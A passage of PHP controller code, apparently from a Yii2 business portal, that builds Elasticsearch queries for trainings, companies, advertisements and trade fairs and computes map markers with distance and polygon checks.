////                                    $markers[] = [$labels[$counter].$counterForTrainings, $location[1], $location[0], $model->getPrimaryKey(), $model->name];
////                                    $counterForTrainings++;
////                                }
////                            }
////                        }
//                        
//                        if(empty($model->dates)) {
//                            continue;
//                        }
//
//                        $matchedDates = [];
//                        foreach($model->dates as $date) {
//                            if(!empty($date['location'])) {
//                                $matchedDates[] = $date;
//                            }
//                        }
//                        
//                        if(count($matchedDates) === 1) {
//                            $markers[] = [$labels[$counter], $matchedDates[0][1], $matchedDates[0][0], $model->getPrimaryKey(), $model->name];
//                        } else {
//                            $datesCounter = 1;
//                            foreach($matchedDates as $date) {
//                                $markers[] = [$labels[$counter].$datesCounter, $date['location'][1], $date['location'][0], $model->getPrimaryKey(), $model->name, $date['id_date'], $date['date_start'].' - '.$date['date_end']];
//                                $datesCounter++;
//                            }
//                        }
//                        
//                        $idPrimaryDate = $this->getIdPrimaryDateForTraining($matchedDates, $modelSearchForm);
//                        if($idPrimaryDate) {
//                            $model->setPrimaryDate($idPrimaryDate);
//                        }
//                        
//                        $counter++;                        
//                    }
//                } else {
//                    foreach($models as $model) {
////                        if(empty($model->locations)) {
////                            continue;
////                        }
////
////                        if(count($model->locations) === 1) {
////                            $calculatedDistance = $this->getDistance($model->locations[0][1], $model->locations[0][0], $coordinates[0], $coordinates[1]);
////                            if($calculatedDistance < $modelSearchForm->distance) {
////                                $markers[] = [$labels[$counter], $model->locations[0][1], $model->locations[0][0], $model->getPrimaryKey(), $model->name];
////                            }
////                        } else {                        
////                            $counterForTrainings = 1;
////                            foreach($model->locations as $location) {
////                                $calculatedDistance = $this->getDistance($location[1], $location[0], $coordinates[0], $coordinates[1]);
////                                if($calculatedDistance < $modelSearchForm->distance) {
////                                    $markers[] = [$labels[$counter].$counterForTrainings, $location[1], $location[0], $model->getPrimaryKey(), $model->name];
////                                    $counterForTrainings++;
////                                }
////                            }
////                        }
//                        
//                        if(empty($model->dates)) {
//                            continue;
//                        }
//                        
//                        $matchedDates = [];
//                        foreach($model->dates as $date) {
//                            if(!empty($date['location'])) {
//                                $calculatedDistance = $this->getDistance($date['location'][1], $date['location'][0], $coordinates[0], $coordinates[1]);
//                                if($calculatedDistance < $modelSearchForm->distance) {
//                                    $matchedDates[] = $date;
//                                }
//                            }
//                        }
//                        
//                        if(count($matchedDates) === 1) {
//                            $markers[] = [$labels[$counter], $matchedDates[0][1], $matchedDates[0][0], $model->getPrimaryKey(), $model->name];
//                        } else {
//                            $datesCounter = 1;
//                            foreach($matchedDates as $date) {
//                                $markers[] = [$labels[$counter].$datesCounter, $date['location'][1], $date['location'][0], $model->getPrimaryKey(), $model->name, $date['id_date'], $date['date_start'].' - '.$date['date_end']];
//                                $datesCounter++;
//                            }
//                        }
//                        
//                        $idPrimaryDate = $this->getIdPrimaryDateForTraining($matchedDates, $modelSearchForm);
//                        if($idPrimaryDate) {
//                            $model->setPrimaryDate($idPrimaryDate);
//                        }
//                        
//                        $counter++;
//                    }
//                }                
//            } else {
//                foreach($models as $model) {
////                    if(empty($model->locations)) {
////                        continue;
////                    }
////                    
////                    if(count($model->locations) === 1) {
////                        $markers[] = [$labels[$counter], $model->locations[0][1], $model->locations[0][0], $model->getPrimaryKey(), $model->name];
////                    } else {
////                        $counterForTrainings = 1;
////                        foreach($model->locations as $location) {
////                            $markers[] = [$labels[$counter].$counterForTrainings, $location[1], $location[0], $model->getPrimaryKey(), $model->name];
////                            $counterForTrainings++;
////                        }
////                    }
//                    
//                    if(empty($model->dates)) {
//                        continue;
//                    }
//                    
//                    $matchedDates = [];
//                    foreach($model->dates as $date) {
//                        if(!empty($date['location'])) {
//                            $matchedDates[] = $date;
//                        }
//                    }
//                    
//                    if(empty($matchedDates)) {
//                        continue;
//                    }
//                    
//                    if(count($matchedDates) === 1) {
//                        $markers[] = [$labels[$counter], $matchedDates[0][1], $matchedDates[0][0], $model->getPrimaryKey(), $model->name];
//                    } else {
//                        $datesCounter = 1;
//                        foreach($matchedDates as $date) {
//                            $markers[] = [$labels[$counter].$datesCounter, $date['location'][1], $date['location'][0], $model->getPrimaryKey(), $model->name, $date['id_date'], $date['date_start'].' - '.$date['date_end']];
//                            $datesCounter++;
//                        }
//                    }
//                    
//                    $idPrimaryDate = $this->getIdPrimaryDateForTraining($matchedDates, $modelSearchForm);
//                    if($idPrimaryDate) {
//                        $model->setPrimaryDate($idPrimaryDate);
//                    }
//                    
//                    $counter++;
//                }
//            }            
//        }

        $markers = [];
        $models = $dataProvider->getModels();
        if(!empty($models)) {
            $labels = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'];
            $counter = 0;
            
            foreach($models as $model) {
                if(empty($model->dates)) {
                    continue;
                }

                $matchedDates = [];
                foreach($model->dates as $date) {
                    if(!empty($date['location'])) {
                        if(!empty($boundaryCoordinates)) {
                            if($this->orPointIsInPolygon([$date['location'][1], $date['location'][0]], $boundaryCoordinates)) {
                                $matchedDates[] = $date;
                            }
                        } elseif(!empty($coordinates) && !empty($modelSearchForm->distance)) {
                            $calculatedDistance = $this->getDistance($date['location'][1], $date['location'][0], $coordinates[0], $coordinates[1]);
                            if($calculatedDistance < $modelSearchForm->distance) {
                                $matchedDates[] = $date;
                            }
                        } else {
                            $matchedDates[] = $date;
                        }                        
                    }
                }
                
                if(empty($matchedDates)) {
                    continue;
                }

                if(count($matchedDates) === 1) {
                    $markers[] = [$labels[$counter], $matchedDates[0]['location'][1], $matchedDates[0]['location'][0], $model->getPrimaryKey(), $model->name];
                } else {
                    $datesCounter = 1;
                    foreach($matchedDates as $date) {
                        $markers[] = [$labels[$counter].$datesCounter, $date['location'][1], $date['location'][0], $model->getPrimaryKey(), $model->name, $date['id_date'], $date['date_start'].' - '.$date['date_end']];
                        $datesCounter++;
                    }
                }

                $idPrimaryDate = $this->getIdPrimaryDateForTraining($matchedDates, $modelSearchForm);
                if($idPrimaryDate) {
                    $model->setPrimaryDate($idPrimaryDate);
                }

                $counter++; 
            }            
        }
        
        $this->setSeoMetadata('search_trainings', [
            'title' => [$modelSearchForm->phrase.', '.$modelSearchForm->location, Yii::$app->params['modelPortal']->domain], //'{szukana fraza, miasto}','{domena}'
            'keywords' => [$modelSearchForm->phrase.', '.$modelSearchForm->location], //'{szukana fraza, miasto}'
            'description' => [$modelSearchForm->phrase.', '.$modelSearchForm->location, Yii::$app->params['modelPortal']->domain] //'{szukana fraza, miasto}','{domena}'
        ]);  
        
        return $this->render('trainings', [
            'dataProvider' => $dataProvider,
            'phrase' => $modelSearchForm->phrase,
            'coordinates' => $coordinates,
            'distance' => $modelSearchForm->distance,
            'markers' => $markers,
            'numberOfHits' => $this->getNumberOfHitsForEachSections()
        ]);
    } 
    
    protected function getRawQueryForCompanies($modelSearchForm)
    {
        $actualDate = date("Y-m-d");
        
//        if(empty($modelSearchForm->phrase)) {
//            $modelSearchForm->phrase = 'test123';            
//        }        
//        if((!empty($modelSearchForm->coordinates) && empty($modelSearchForm->distance)) || (!empty($modelSearchForm->distance) && empty($modelSearchForm->coordinates))) {
//            $modelSearchForm->coordinates = '53.119321,18.005646';
//            $modelSearchForm->distance = 100;
//        }  
        
        $rawQuery = [
            'bool' => [
                'should' => [
                    ['match' => ['name' => ['query' => $modelSearchForm->phrase, 'boost' => 10.0]]],
//                    ['match' => ['short_name' => ['query' => $modelSearchForm->phrase,'boost' => 5.0]]],
                    ['match' => ['description' => ['query' => $modelSearchForm->phrase, 'boost' => 3.0]]],
                    ['match' => ['tags' => ['query' => $modelSearchForm->phrase, 'boost' => 8.0]]],

                    [
                        'nested' => [
                            'path' => 'top_position',
                            'score_mode' => 'avg',
                            'inner_hits' => ['size' => 100],
                            'query' => [
                                'bool' => [
                                    'must' => [
//                                        ['match' => ['top_position.phrases' => ['query' => $modelSearchForm->phrase, 'boost' => 20.0]]],
                                        ['match' => ['top_position.phrase' => ['query' => $modelSearchForm->phrase, 'boost' => 20.0]]],
                                        ['range' => ['top_position.date_start' => ['lte' => $actualDate]]],
                                        ['range' => ['top_position.date_end' => ['gte' => $actualDate]]],
                                    ],
                                    'should' => [
                                        ['match' => ['top_position.priority' => ['query' => 1, 'boost' => 250.0]]],
                                        ['match' => ['top_position.priority' => ['query' => 2, 'boost' => 200.0]]],
                                        ['match' => ['top_position.priority' => ['query' => 3, 'boost' => 150.0]]],
                                        ['match' => ['top_position.priority' => ['query' => 4, 'boost' => 100.0]]],
                                        ['match' => ['top_position.priority' => ['query' => 5, 'boost' => 50.0]]],
                                        
                                        ['match' => ['package' => ['query' => PresentationsPackages::PACKAGE_BASIC, 'boost' => 2.0]]],
                                        ['match' => ['package' => ['query' => PresentationsPackages::PACKAGE_STANDARD, 'boost' => 4.0]]],
                                        ['match' => ['package' => ['query' => PresentationsPackages::PACKAGE_STANDARD_PLUS, 'boost' => 6.0]]],
                                        ['match' => ['package' => ['query' => PresentationsPackages::PACKAGE_PREMIUM, 'boost' => 8.0]]],
                                        ['match' => ['package' => ['query' => PresentationsPackages::PACKAGE_CUSTOM, 'boost' => 10.0]]],
                                        ['match' => ['package' => ['query' => PresentationsPackages::PACKAGE_EXCLUSIVE, 'boost' => 12.0]]],
                                    ]
                                ]
                            ]
                        ]
                    ],
                ],
                "minimum_should_match" => 1,
                'filter' => [
                    ['term' => ['id_portal' => Yii::$app->params['modelPortal']->id_portal]]
                ],
            ]
        ];
        
        if($modelSearchForm->locationType === SearchForm::LOCATION_TYPE_REGION && !empty($modelSearchForm->idLocation) && !empty($modelSearchForm->boundaryCoordinates)) {
            $rawQuery['bool']['filter'][] = [
                'geo_polygon' => [
                    'locations' => [
                        'points' => explode(' ', $modelSearchForm->boundaryCoordinates)
                    ]
                ]
            ];
        } else {
            $coordinates = !empty($modelSearchForm->coordinates) ? array_map('floatval', explode(",", $modelSearchForm->coordinates)) : [];
            if(!empty($modelSearchForm->distance) && !empty($coordinates)) {
                $rawQuery['bool']['filter'][] = [
                    'geo_distance' => [
                        'distance' => $modelSearchForm->distance.'km',
                        'locations' => [
                            'lat' => $coordinates[0],
                            'lon' => $coordinates[1]
                        ]
                    ]
                ];
            }
        }
        
        $output = [
            'function_score' => [
                'query' => $rawQuery,
                'score_mode' => 'sum',
                'boost_mode' => 'multiply',
                'functions' => array_merge([
                    [
                        'filter' => ['term' => ['package' => mb_strtolower(PresentationsPackages::PACKAGE_STARTER)]],
                        'weight' => 1.00,
                    ],
                    [
                        'filter' => ['term' => ['package' => mb_strtolower(PresentationsPackages::PACKAGE_BASIC)]],
                        'weight' => 1.50,
                    ],
                    [
                        'filter' => ['term' => ['package' => mb_strtolower(PresentationsPackages::PACKAGE_STANDARD)]],
                        'weight' => 2.00,
                    ],
                    [
                        'filter' => ['term' => ['package' => mb_strtolower(PresentationsPackages::PACKAGE_STANDARD_PLUS)]],
                        'weight' => 2.50,
                    ],
                    [//['match' => ['package' => ['query' => 'PREMIUM']]],
                        'filter' =>  ['term' => ['package' => mb_strtolower(PresentationsPackages::PACKAGE_PREMIUM)]],
                        'weight' => 3.00,
                    ],
                    [
                        'filter' => ['term' => ['package' => mb_strtolower(PresentationsPackages::PACKAGE_CUSTOM)]],
                        'weight' => 2.50,
                    ],
                    [
                        'filter' => ['term' => ['package' => mb_strtolower(PresentationsPackages::PACKAGE_EXCLUSIVE)]],
                        'weight' => 3.50,
                    ]], !empty($coordinates) ? [
                    [
                        'gauss' => [
                            'locations' => [
                                "origin" => [
                                    'lat' => $coordinates[0],
                                    'lon' => $coordinates[1]
                                ],
                                "scale" => $modelSearchForm->distance.'km',
//                                "scale" => '50km',
                                "offset" => "5km",
                                "decay" => 0.33
                            ],
                            'multi_value_mode' => 'min',
                        ]
                    ],
                ] : []),
            ]
        ]; 
        
        return $output;
    }
    
    public function actionFirmy()
    {       
        //@backward_compatibility
        //---------------------------
        $response = $this->getRedirectFromOldUrl();
        if(!empty($response)) {
            return $response;
        }
        
        if(Yii::$app->request->get('old')) {
            $queryParams = Yii::$app->request->getQueryParams();
            $queryParams['phrase'] = mb_convert_encoding($queryParams['phrase'], 'UTF-8', 'UTF-8');
            Yii::$app->request->setQueryParams($queryParams);
        }
        //---------------------------
        
        $modelSearchForm = SearchForm::getInstance();
        $modelSearchForm->setScenario('companies');
        $modelSearchForm->load(Yii::$app->request->get());
        $modelSearchForm->loadBoundaryIfExists();
                
        $rawQuery = $this->getRawQueryForCompanies($modelSearchForm);
        
        $coordinates = !empty($modelSearchForm->coordinates) ? array_map('floatval', explode(",", $modelSearchForm->coordinates)) : [];
        $boundaryCoordinates = [];
        
        if($modelSearchForm->locationType === SearchForm::LOCATION_TYPE_REGION && !empty($modelSearchForm->idLocation)) {
            foreach(explode(' ', $modelSearchForm->boundaryCoordinates) as $value) {
                $temp = explode(',', $value);
                $boundaryCoordinates[] = [(double)$temp[0], (double)$temp[1]];
            }
        }
        
        $query = IndexPresentations::find()->query($rawQuery);
//        if(!empty($coordinates)) {
//            $query->orderBy([
//                '_geo_distance' => [
//                    'location' => [
//                        'lat' => $coordinates[0],
//                        'lon' => $coordinates[1]
//                    ],
//                    'order' => 'asc',
//                    'unit' => 'km'
//                ]
//            ]);
//        }
//        
//        $d = $query->search();        
//        foreach($d['hits']['hits'] as $hit) {
//            var_dump($hit->name.' ('.$hit->locality.')'.': '.$hit->getScore());
//        }        
//        var_dump($d['hits']['hits']); 
//        var_dump($d);
//        exit;
        
        $dataProvider = new ActiveDataProvider([
            'query' => $query,
            'pagination' => [
                'defaultPageSize' => 15,
            ],
            'sort' => false
        ]);

        Yii::$app->view->params['dataProvider'] = $dataProvider;
        
        $markers = [];
        $models = $dataProvider->getModels();
        if(!empty($models)) {
            $labels = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'];
            $counter = 0;
            if((!empty($coordinates) && !empty($modelSearchForm->distance)) || !empty($boundaryCoordinates)) {
                if(!empty($boundaryCoordinates)) {
                    foreach($models as $model) {
                        if(!empty($model->location)) {
                            if($this->orPointIsInPolygon([$model->location[1], $model->location[0]], $boundaryCoordinates)) {
                                $markers[] = [$labels[$counter], $model->location[1], $model->location[0], $model->id_company, $model->name, null, null];
                            }
                        }

                        if(!empty($model->branches)) {
                            $branchesCounter = 1;
                            foreach($model->branches as $branch) {
                                if(!empty($branch['location'])) {
                                    if($this->orPointIsInPolygon([$branch['location'][1], $branch['location'][0]], $boundaryCoordinates)) {
                                        $markers[] = [$labels[$counter].$branchesCounter, $branch['location'][1], $branch['location'][0], $model->id_company, $model->name, $branch['id_branch'], $branch['name']];
                                        $branchesCounter++;
                                    }
                                }
                            }
                        }
                        $counter++;
                    }
                } else {
                    foreach($models as $model) {
                        if(!empty($model->location)) {
                            $calculatedDistance = $this->getDistance($model->location[1], $model->location[0], $coordinates[0], $coordinates[1]);
                            if($calculatedDistance < $modelSearchForm->distance) {
                                $markers[] = [$labels[$counter], $model->location[1], $model->location[0], $model->id_company, $model->name, null, null];
                            }
                        }

                        if(!empty($model->branches)) {
                            $branchesCounter = 1;
                            foreach($model->branches as $branch) {
                                if(!empty($branch['location'])) {
                                    $calculatedDistance = $this->getDistance($branch['location'][1], $branch['location'][0], $coordinates[0], $coordinates[1]);
                                    if($calculatedDistance < $modelSearchForm->distance) {
                                        $markers[] = [$labels[$counter].$branchesCounter, $branch['location'][1], $branch['location'][0], $model->id_company, $model->name, $branch['id_branch'], $branch['name']];
                                        $branchesCounter++;
                                    }
                                }
                            }
                        }
                        $counter++;
                    }
                }
                
            } else {
                foreach($models as $model) {
                    if(!empty($model->location)) {
                        $markers[] = [$labels[$counter], $model->location[1], $model->location[0], $model->id_company, $model->name, null, null];
                    }
                    if(!empty($model->branches)) {
                        $branchesCounter = 1;
                        foreach($model->branches as $branch) {
                            if(!empty($branch['location'])) {
                                $markers[] = [$labels[$counter].$branchesCounter, $branch['location'][1], $branch['location'][0], $model->id_company, $model->name, $branch['id_branch'], $branch['name']];
                                $branchesCounter++;
                            }
                        }
                    }
                    $counter++;
                }
            }            
        }

        $this->setSeoMetadata('search_companies', [
            'title' => [$modelSearchForm->phrase.', '.$modelSearchForm->location, Yii::$app->params['modelPortal']->domain], //'{szukana fraza, miasto}','{domena}'
            'keywords' => [$modelSearchForm->phrase.', '.$modelSearchForm->location], //'{szukana fraza, miasto}'
            'description' => [$modelSearchForm->phrase.', '.$modelSearchForm->location, Yii::$app->params['modelPortal']->domain] //'{szukana fraza, miasto}','{domena}'
        ]);         
        
        return $this->render('companies', [
            'dataProvider' => $dataProvider,
            'phrase' => $modelSearchForm->phrase,
            'coordinates' => $coordinates,
            'distance' => $modelSearchForm->distance,
            'markers' => $markers,
            'numberOfHits' => $this->getNumberOfHitsForEachSections()
        ]);
    } 
    
    protected function getDistance($lat_1, $lng_1, $lat_2, $lng_2) 
    {  
        $earthRadius = 6371;

        $dLat = deg2rad( $lat_2 - $lat_1 );  
        $dLon = deg2rad( $lng_2 - $lng_1 );  

        $a = sin($dLat/2) * sin($dLat/2) + cos(deg2rad($lat_1)) * cos(deg2rad($lat_2)) * sin($dLon/2) * sin($dLon/2);  
        $c = 2 * asin(sqrt($a));  
        $d = $earthRadius * $c;  

        return $d;  
    }
    
    function orPointIsInPolygon($location, $polygon) 
    {
        $lat = $location[0];
        $lng = $location[1];
        
        $c = 0;
//        $p1 = $polygon[0];
        list($p1Lat, $p1Lng) = [$polygon[0][0], $polygon[0][1]];
        $n = count($polygon);

        for ($i=1; $i<=$n; $i++) {
//            $p2 = $polygon[$i % $n];
            list($p2Lat, $p2Lng) = [$polygon[$i % $n][0], $polygon[$i % $n][1]]; 
            if ($lng > min($p1Lng, $p2Lng)
                && $lng <= max($p1Lng, $p2Lng)
                && $lat <= max($p1Lat, $p2Lat)
                && $p1Lng != $p2Lng) {
                    $xinters = ($lng - $p1Lng) * ($p2Lat - $p1Lat) / ($p2Lng - $p1Lng) + $p1Lat;
                    if ($p1Lat == $p2Lat || $lat <= $xinters) {
                        $c++;
                    }
            }
//            $p1 = $p2;
            $p1Lat = $p2Lat;
            $p1Lng = $p2Lng;
        }
        // if the number of edges we passed through is even, then it's not in the poly.
        return $c % 2 != 0;
    }
    
    protected function getIdPrimaryDateForTraining($dates, $modelSearchForm)
    {
        if(empty($dates)) {
            return false;
        }
        
        $primaryDate = null;
        $nowTimestamp = time();
        
        if(empty($modelSearchForm->dateStart) && empty($modelSearchForm->dateEnd)) {
            foreach($dates as $date) {
                $primaryDate = $date;
                if(strtotime($date['date_start']) > $nowTimestamp) {                    
                    break;
                }
            }
        } elseif(!empty($modelSearchForm->dateStart) && !empty($modelSearchForm->dateEnd)) {
            $dateStartTimestamp = strtotime($modelSearchForm->dateStart);
            $dateEndTimestamp = strtotime($modelSearchForm->dateEnd);            
            foreach($dates as $date) {
                $dateTimestamp = strtotime($date['date_start']);
                if($dateTimestamp >= $dateStartTimestamp && $dateTimestamp <= $dateEndTimestamp) {
                    $primaryDate = $date;
                }
                if($dateTimestamp >= $nowTimestamp) {                    
                    break;
                }
            }
            
        } elseif(!empty($modelSearchForm->dateStart)) {
            $dateStartTimestamp = strtotime($modelSearchForm->dateStart);
            foreach($dates as $date) {
                $dateTimestamp = strtotime($date['date_start']);
                if($dateTimestamp >= $dateStartTimestamp) {
                    $primaryDate = $date;
                }
                if($dateTimestamp >= $nowTimestamp) {                    
                    break;
                }
            }
        } else {
            $dateEndTimestamp = strtotime($modelSearchForm->dateEnd);
            foreach($dates as $date) {
                $dateTimestamp = strtotime($date['date_start']);
                if($dateTimestamp <= $dateEndTimestamp) {
                    $primaryDate = $date;
                }
                if($dateTimestamp >= $nowTimestamp) {                    
                    break;
                }
            }
        }
        
        if(empty($primaryDate)) {
            $primaryDate = end($dates);
        }
        
        return $primaryDate['id_date'];
    }

    protected function getRawQueryForAdvertisements($modelSearchForm)
    {
//        if(empty($modelSearchForm->phrase)) {
//            $modelSearchForm->phrase = 'test123';            
//        }        
//        if((!empty($modelSearchForm->coordinates) && empty($modelSearchForm->distance)) || (!empty($modelSearchForm->distance) && empty($modelSearchForm->coordinates))) {
//            $modelSearchForm->coordinates = '53.119321,18.005646';
//            $modelSearchForm->distance = 100;
//        }    
        
        $rawQuery = [
            'bool' => [
                'should' => [
                    ['match' => ['title' => ['query' => $modelSearchForm->phrase, 'boost' => 10.0]]],
                    ['match' => ['content' => ['query' => $modelSearchForm->phrase, 'boost' => 5.0]]],
//                    ['match' => ['tags' => ['query' => $modelSearchForm->phrase, 'boost' => 8.0]]],
                ],
                "minimum_should_match" => 1,
                'filter' => [
                    ['term' => ['id_portal' => Yii::$app->params['modelPortal']->id_portal]]
                ],
            ]
        ];
        
        if($modelSearchForm->locationType === SearchForm::LOCATION_TYPE_REGION && !empty($modelSearchForm->idLocation) && !empty($modelSearchForm->boundaryCoordinates)) {
            $rawQuery['bool']['filter'][] = [
                'geo_polygon' => [
                    'location' => [
                        'points' => explode(' ', $modelSearchForm->boundaryCoordinates)
                    ]
                ]
            ];
        } else {
            $coordinates = !empty($modelSearchForm->coordinates) ? array_map('floatval', explode(",", $modelSearchForm->coordinates)) : [];
            if(!empty($modelSearchForm->distance) && !empty($coordinates)) {
                $rawQuery['bool']['filter'][] = [
                    'geo_distance' => [
                        'distance' => $modelSearchForm->distance.'km',
                        'location' => [
                            'lat' => $coordinates[0],
                            'lon' => $coordinates[1]
                        ]
                    ]
                ];
            }
        }
        
        if(!empty($modelSearchForm->type)) {
            $rawQuery['bool']['filter'][] = ['terms' => ['advertisement_type' => $modelSearchForm->type]];
        }
        
        return $rawQuery;
    }
    
    public function actionOgloszenia()
    {
        //@backward_compatibility
        //---------------------------
        $response = $this->getRedirectFromOldUrl();
        if(!empty($response)) {
            return $response;
        }
        
        if(Yii::$app->request->get('old')) {
            $queryParams = Yii::$app->request->getQueryParams();
            $queryParams['phrase'] = mb_convert_encoding($queryParams['phrase'], 'UTF-8', 'UTF-8');
            Yii::$app->request->setQueryParams($queryParams);
        }
        //---------------------------
        
        $modelSearchForm = SearchForm::getInstance();
        $modelSearchForm->setScenario('advertisements');
        $modelSearchForm->load(Yii::$app->request->get());
        $modelSearchForm->loadBoundaryIfExists();
                
        $rawQuery = $this->getRawQueryForAdvertisements($modelSearchForm);
        
        $coordinates = !empty($modelSearchForm->coordinates) ? array_map('floatval', explode(",", $modelSearchForm->coordinates)) : [];
        $boundaryCoordinates = [];
        
        if($modelSearchForm->locationType === SearchForm::LOCATION_TYPE_REGION && !empty($modelSearchForm->idLocation)) {
            foreach(explode(' ', $modelSearchForm->boundaryCoordinates) as $value) {
                $temp = explode(',', $value);
                $boundaryCoordinates[] = [(double)$temp[0], (double)$temp[1]];
            }
        }
        
        if(!$modelSearchForm->validate()) {
            Yii::$app->session->addFlash('error', Yii::t('frontend', 'Formularz zawiera błędy.'));
            return $this->render('advertisements', [
                'phrase' => $modelSearchForm->phrase,
                'coordinates' => $coordinates,
                'distance' => $modelSearchForm->distance,
                'markers' => []
            ]);
        }
        
        $query = IndexAdvertisements::find()->query($rawQuery);
        
        $dataProvider = new ActiveDataProvider([
            'query' => $query,
            'pagination' => [
                'defaultPageSize' => 15,
            ],
            'sort' => false
        ]);
        Yii::$app->view->params['dataProvider'] = $dataProvider;
        
        $markers = [];
        $models = $dataProvider->getModels();
        if(!empty($models)) {
            $labels = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'];
            $counter = 0;
            if((!empty($coordinates) && !empty($modelSearchForm->distance)) || !empty($boundaryCoordinates)) {
                if(!empty($boundaryCoordinates)) {
                    foreach($models as $model) {
                        if(!empty($model->location)) {
                            if($this->orPointIsInPolygon([$model->location[1], $model->location[0]], $boundaryCoordinates)) {
                                $markers[] = [$labels[$counter], $model->location[1], $model->location[0], $model->getPrimaryKey(), $model->title];
                            }
                        }
                        $counter++;
                    }
                } else {
                    foreach($models as $model) {
                        if(!empty($model->location)) {
                            $calculatedDistance = $this->getDistance($model->location[1], $model->location[0], $coordinates[0], $coordinates[1]);
                            if($calculatedDistance < $modelSearchForm->distance) {
                                $markers[] = [$labels[$counter], $model->location[1], $model->location[0], $model->getPrimaryKey(), $model->title];
                            }
                        }
                        $counter++;
                    }
                }
                
            } else {
                foreach($models as $model) {
                    if(!empty($model->location)) {
                        $markers[] = [$labels[$counter], $model->location[1], $model->location[0], $model->getPrimaryKey(), $model->title];
                    }
                    $counter++;
                }
            }            
        }

        $this->setSeoMetadata('search_offers', [
            'title' => [$modelSearchForm->phrase.', '.$modelSearchForm->location, Yii::$app->params['modelPortal']->domain], //'{szukana fraza, miasto}','{domena}'
            'keywords' => [$modelSearchForm->phrase.', '.$modelSearchForm->location], //'{szukana fraza, miasto}'
            'description' => [$modelSearchForm->phrase.', '.$modelSearchForm->location, Yii::$app->params['modelPortal']->domain] //'{szukana fraza, miasto}','{domena}'
        ]);         
        
        return $this->render('advertisements', [
            'dataProvider' => $dataProvider,
            'phrase' => $modelSearchForm->phrase,
            'coordinates' => $coordinates,
            'distance' => $modelSearchForm->distance,
            'markers' => $markers,
            'numberOfHits' => $this->getNumberOfHitsForEachSections()
        ]);
    } 
    
    protected function getRawQueryForFairs($modelSearchForm)
    {
//        if(empty($modelSearchForm->phrase)) {
//            $modelSearchForm->phrase = 'test123';            
//        }
        
        $rawQuery = [
            'bool' => [
                'should' => [
                    ['match' => ['name' => ['query' => $modelSearchForm->phrase, 'boost' => 10.0]]],
                    ['match' => ['content' => ['query' => $modelSearchForm->phrase, 'boost' => 5.0]]],
                    ['match' => ['tags' => ['query' => $modelSearchForm->phrase, 'boost' => 8.0]]],
                ],
                "minimum_should_match" => 1,
                'filter' => [
                    ['term' => ['portals' => Yii::$app->params['modelPortal']->id_portal]]
                ],
            ]
        ];
        
        if(!empty($modelSearchForm->dateStart) || !empty($modelSearchForm->dateEnd)) {
            $filter = [
                'range' => [
                    'date_start' => [
                        'format' => "yyyy-MM-dd"
                    ]
                ]
            ];            
            if(!empty($modelSearchForm->dateStart) && !empty($modelSearchForm->dateEnd)) {
                $filter['range']['date_start'] = array_merge($filter['range']['date_start'], ['gte' => $modelSearchForm->dateStart, 'lte' => $modelSearchForm->dateEnd]);
            } elseif(!empty($modelSearchForm->dateStart)) {
                $filter['range']['date_start'] = array_merge($filter['range']['date_start'], ['gte' => $modelSearchForm->dateStart]);
            } else {
                $filter['range']['date_start'] = array_merge($filter['range']['date_start'], ['lte' => $modelSearchForm->dateEnd]);
            }
            $rawQuery['bool']['filter'][] = $filter;
        }
        
        if(!empty($modelSearchForm->type)) {
            $rawQuery['bool']['filter'][] = ['terms' => ['fair_type' => $modelSearchForm->type]];
        }
        
        $output = [
            'function_score' => [
                'query' => $rawQuery,
                'score_mode' => 'sum',
                'boost_mode' => 'multiply',
                'functions' => [
                    [
                        'weight' => 1,
                    ],
                    [
                        'weight' => 5,
                        'gauss' => [
                            'date_start' => [
                                'scale' => '365d'
                            ]
                        ]
                    ],
                    [
                        'weight' => 4,
                        'gauss' => [
                            'date_start' => [                                
                                'scale' => '730d',
                                'offset' => '365d'
                            ]
                        ]
                    ],
                    [
                        'weight' => 3,
                        'gauss' => [
                            'date_start' => [
                                'scale' => '1095d',
                                'offset' => '730d',
                            ]
                        ]
                    ],
                    [
                        'weight' => 2,
                        'gauss' => [
                            'date_start' => [
                                'scale' => '1461d',
                                'offset' => '1095d',
                            ]
                        ]
                    ],
                ],
            ]
        ]; 
        
        return $output;
    }
    
    public function actionTargi()
    {
        //@backward_compatibility
        //---------------------------
        $response = $this->getRedirectFromOldUrl();
        if(!empty($response)) {
            return $response;
        }
        
        if(Yii::$app->request->get('old')) {
            $queryParams = Yii::$app->request->getQueryParams();
            $queryParams['phrase'] = mb_convert_encoding($queryParams['phrase'], 'UTF-8', 'UTF-8');
            Yii::$app->request->setQueryParams($queryParams);
        }
        //---------------------------
        
        $modelSearchForm = SearchForm::getInstance();
        $modelSearchForm->setScenario('fairs');
        $modelSearchForm->load(Yii::$app->request->get());
        
        $rawQuery = $this->getRawQueryForFairs($modelSearchForm);
        
        $query = IndexFairs::find()->query($rawQuery);
        
        $dataProvider = new ActiveDataProvider([
            'query' => $query,
            'pagination' => [
                'defaultPageSize' => 15,
            ],
            'sort' => false
        ]);

        $this->setSeoMetadata('search_fairs', [
            'title' => [$modelSearchForm->phrase.', '.$modelSearchForm->location, Yii::$app->params['modelPortal']->domain], //'{szukana fraza, miasto}','{domena}'
            'keywords' => [$modelSearchForm->phrase.', '.$modelSearchForm->location], //'{szukana fraza, miasto}'
            'description' => [$modelSearchForm->phrase.', '.$modelSearchForm->location, Yii::$app->params['modelPortal']->domain] //'{szukana fraza, miasto}','{domena}'
        ]);          
        
        return $this->render('fairs', [
            'dataProvider' => $dataProvider,
            'phrase' => $modelSearchForm->phrase,
            'numberOfHits' => $this->getNumberOfHitsForEachSections()
        ]);
    } 
    
    protected function getRawQueryForBookstore($modelSearchForm)
    {
//        if(empty($modelSearchForm->phrase)) {
//            $modelSearchForm->phrase = 'test123';            
//        }        
//        if((!empty($modelSearchForm->coordinates) && empty($modelSearchForm->distance)) || (!empty($modelSearchForm->distance) && empty($modelSearchForm->coordinates))) {
//            $modelSearchForm->coordinates = '53.119321,18.005646';
//            $modelSearchForm->distance = 100;
//        }    
        
        $rawQuery = [
            'bool' => [
                'must' => [
                    'bool' => [
                        'should' => [
